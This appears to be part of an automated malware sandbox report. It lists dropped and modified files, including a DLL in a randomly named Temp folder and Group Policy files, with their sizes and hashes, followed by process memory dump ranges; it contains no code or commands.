                                                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                        Filesize

                                                                                                                                                                        1KB

                                                                                                                                                                        MD5

                                                                                                                                                                        33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                                        SHA1

                                                                                                                                                                        36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                                        SHA256

                                                                                                                                                                        b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                                        SHA512

                                                                                                                                                                        676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                        Filesize

                                                                                                                                                                        11KB

                                                                                                                                                                        MD5

                                                                                                                                                                        63a7bb115f3122d78e04eedf4da65316

                                                                                                                                                                        SHA1

                                                                                                                                                                        503258f8557e4a9c0fa6d8198c640e6c6c3d0137

                                                                                                                                                                        SHA256

                                                                                                                                                                        59fc4ed584c9cd074683253e4141d504a4c9c4be67f721d4da2d95e0690f63c4

                                                                                                                                                                        SHA512

                                                                                                                                                                        89bc17922c34ed01f194f3b3f7028cb63928f7a5f21fac108d9f84372ca9b59d2b278fdb6bf3dde0b7c856acaffd3b1e9a47c3aa25c43c648d7b35325f2912ca

                                                                                                                                                                      • C:\Windows\Temp\IzRZTwSZebgYVSAl\qkMTvkFk\xxHbqpl.dll

                                                                                                                                                                        Filesize

                                                                                                                                                                        6.4MB

                                                                                                                                                                        MD5

                                                                                                                                                                        880eaeb9473a2cf08e11464c83a77f3c

                                                                                                                                                                        SHA1

                                                                                                                                                                        a4cecc138b10e322b4eea3d6f9815b76e2e7217d

                                                                                                                                                                        SHA256

                                                                                                                                                                        412faf97fdbbf0085650b83102bcbba720fdbc1970556e6e3db9d86fa7552007

                                                                                                                                                                        SHA512

                                                                                                                                                                        7a15c713897374c5bfe85d6f40c53987f8f01992acc02674e1cc54a500ebc35898a8be9a02c2858b4ef86a055b4d419e1105cec06b419f7078fa8f62af7b172e

                                                                                                                                                                      • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                                        Filesize

                                                                                                                                                                        6KB

                                                                                                                                                                        MD5

                                                                                                                                                                        af5a6b277700c3d5f2b18476dc79bf88

                                                                                                                                                                        SHA1

                                                                                                                                                                        cd73d9b216467ce5ef9c4ed007f21506bdcda9ce

                                                                                                                                                                        SHA256

                                                                                                                                                                        3bd8efb7779a1f95f313b9e441b865476c5ba63acfdebf0b6647413451b58ec9

                                                                                                                                                                        SHA512

                                                                                                                                                                        27649baa11485fb0f10638344c934df823c1546abb396f12ee1932bc03c663d6186c3b7720d6cbb7d3afe7b2765713e896d67cca02d736fd65142b4a1b30d611

                                                                                                                                                                      • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                                        Filesize

                                                                                                                                                                        268B

                                                                                                                                                                        MD5

                                                                                                                                                                        a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                        SHA1

                                                                                                                                                                        1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                        SHA256

                                                                                                                                                                        9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                        SHA512

                                                                                                                                                                        9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                                      • memory/1096-11-0x0000000010000000-0x00000000105E5000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        5.9MB

                                                                                                                                                                      • memory/1116-484-0x0000000003D50000-0x0000000003DD2000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        520KB

                                                                                                                                                                      • memory/1116-154-0x0000000003570000-0x00000000035D3000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        396KB

                                                                                                                                                                      • memory/1116-112-0x0000000002E20000-0x0000000002EA5000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        532KB

                                                                                                                                                                      • memory/1116-101-0x0000000010000000-0x00000000105E5000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        5.9MB

                                                                                                                                                                      • memory/1116-502-0x0000000003ED0000-0x0000000003FAC000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        880KB

                                                                                                                                                                      • memory/1732-57-0x0000000005050000-0x000000000509C000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        304KB

                                                                                                                                                                      • memory/1732-56-0x0000000005000000-0x000000000501E000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        120KB

                                                                                                                                                                      • memory/1732-39-0x00000000016B0000-0x00000000016E6000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        216KB

                                                                                                                                                                      • memory/1732-40-0x0000000072DF0000-0x00000000735A0000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        7.7MB

                                                                                                                                                                      • memory/1732-41-0x0000000001790000-0x00000000017A0000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        64KB

                                                                                                                                                                      • memory/1732-42-0x0000000004150000-0x0000000004778000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        6.2MB

                                                                                                                                                                      • memory/1732-58-0x0000000001790000-0x00000000017A0000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        64KB

                                                                                                                                                                      • memory/1732-55-0x0000000004C30000-0x0000000004F84000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        3.3MB

                                                                                                                                                                      • memory/1732-61-0x0000000072DF0000-0x00000000735A0000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        7.7MB

                                                                                                                                                                      • memory/1732-45-0x00000000049C0000-0x0000000004A26000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        408KB

                                                                                                                                                                      • memory/1732-44-0x00000000048E0000-0x0000000004946000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        408KB

                                                                                                                                                                      • memory/1732-43-0x0000000004780000-0x00000000047A2000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        136KB

                                                                                                                                                                      • memory/3196-92-0x000001DF52F80000-0x000001DF52F90000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        64KB

                                                                                                                                                                      • memory/3196-81-0x000001DF52F80000-0x000001DF52F90000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        64KB

                                                                                                                                                                      • memory/3196-94-0x00007FFAD7AD0000-0x00007FFAD8591000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        10.8MB

                                                                                                                                                                      • memory/3196-80-0x00007FFAD7AD0000-0x00007FFAD8591000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        10.8MB

                                                                                                                                                                      • memory/3636-16-0x00007FFAD8250000-0x00007FFAD8D11000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        10.8MB

                                                                                                                                                                      • memory/3636-31-0x00007FFAD8250000-0x00007FFAD8D11000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        10.8MB

                                                                                                                                                                      • memory/3636-28-0x000002CC5D9A0000-0x000002CC5D9B0000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        64KB

                                                                                                                                                                      • memory/3636-27-0x000002CC5D9A0000-0x000002CC5D9B0000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        64KB

                                                                                                                                                                      • memory/3636-17-0x000002CC5D9A0000-0x000002CC5D9B0000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        64KB

                                                                                                                                                                      • memory/3636-15-0x000002CC5D9B0000-0x000002CC5D9D2000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        136KB

                                                                                                                                                                      • memory/3852-36-0x0000000010000000-0x00000000105E5000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        5.9MB

                                                                                                                                                                      • memory/4304-493-0x0000000001900000-0x0000000001EE5000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        5.9MB

                                                                                                                                                                      • memory/5068-95-0x0000000072DF0000-0x00000000735A0000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        7.7MB

                                                                                                                                                                      • memory/5068-63-0x0000000072DF0000-0x00000000735A0000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        7.7MB

                                                                                                                                                                      • memory/5068-64-0x0000000003F50000-0x0000000003F60000-memory.dmp

                                                                                                                                                                        Filesize

                                                                                                                                                                        64KB